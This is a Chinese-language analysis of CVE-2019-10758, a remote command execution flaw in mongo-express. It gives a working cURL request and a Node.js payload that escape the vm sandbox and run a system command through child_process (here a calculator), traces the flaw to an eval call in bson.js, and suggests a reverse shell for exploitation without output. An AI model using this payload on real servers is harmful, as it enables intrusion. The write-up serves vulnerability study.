(CVE-2019-10758)Mongo expres 远程命令执行漏洞




cURL exploit

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

Script exploit

node main.js
exploit = "this.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')"

var bson = require('mongo-express/lib/bson')

很明显从 exploit 中我们能明显得出以下两个结论:

  1. 存在 RCE 漏洞的代码位于 mongo-express/lib/bson
  2. 路由 /checkValid 从外部接收输入,并调用了存在 RCE 漏洞的代码,由此存在被攻击的风险

首先定位可以接受外界输入的路由 https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/router.js:

首先定位可以接受外界输入的路由 https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/router.js:

const router = function (config) {
  // 省略其他无关代码
  const appRouter = express.Router();
  appRouter.post('/checkValid', mongoMiddleware, configuredRoutes.checkValid);
  return appRouter;

继续定位 https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/routes/document.js:

var routes = function (config) {
  // 省略其他无关代码
  var exp = {};
  exp.checkValid = function (req, res) {
    var doc = req.body.document;
    try {
    } catch (err) {
      return res.send('Invalid');

  return exp;

可以很明显看到这里会从 POST 请求中读取 document 并作为参数继续调用 bson.toBSON(doc);,而根据我们之前的分析,漏洞代码有 99% 的可能性位于 bson.toBSON 函数内,所以继续分析源码,https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/bson.js:

var mongodb = require('mongodb');
var vm      = require('vm');
var json    = require('./json');

// 省略一些无关代码

//JSON.parse doesn't support BSON data types
//Document is evaluated in a vm in order to support BSON data types
//Sandbox contains BSON data type functions from node-mongodb-native
exports.toBSON = function (string) {
  var sandbox = exports.getSandbox();

  string = string.replace(/ISODate\(/g, 'new ISODate(');
  string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');

  vm.runInNewContext('doc = eval((' + string + '));', sandbox);

  return sandbox.doc;

// This function as the name suggests attempts to parse
// the free form string in to BSON, since the possibilities of failure
// are higher, this function uses a try..catch
exports.toSafeBSON = function (string) {
  try {
    var bsonObject = exports.toBSON(string);
    return bsonObject;
  } catch (err) {
    return null;

重点出现!>>> vm.runInNewContext('doc = eval((' + string + '));', sandbox);

对 nodejs 的沙箱逃逸有所关注的朋友很容易就能注意到这段代码和 vm 沙盒逃逸代码 demo 的惊人相似:

const vm = require('vm');

vm.runInNewContext('this.constructor.constructor("return process")().exit()');

在这里,由于用户输入的最终会被拼接上 eval,所以很容易就能导致 RCE。可以看到作者的 exploit 就是获得全局上下文后直接导入 child_process 来执行系统命令:

this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')


不过由于这是个没有回显的 RCE,因此在实际漏洞利用的时候可能需要反弹 shell 之类的操作来辅助漏洞的利用。

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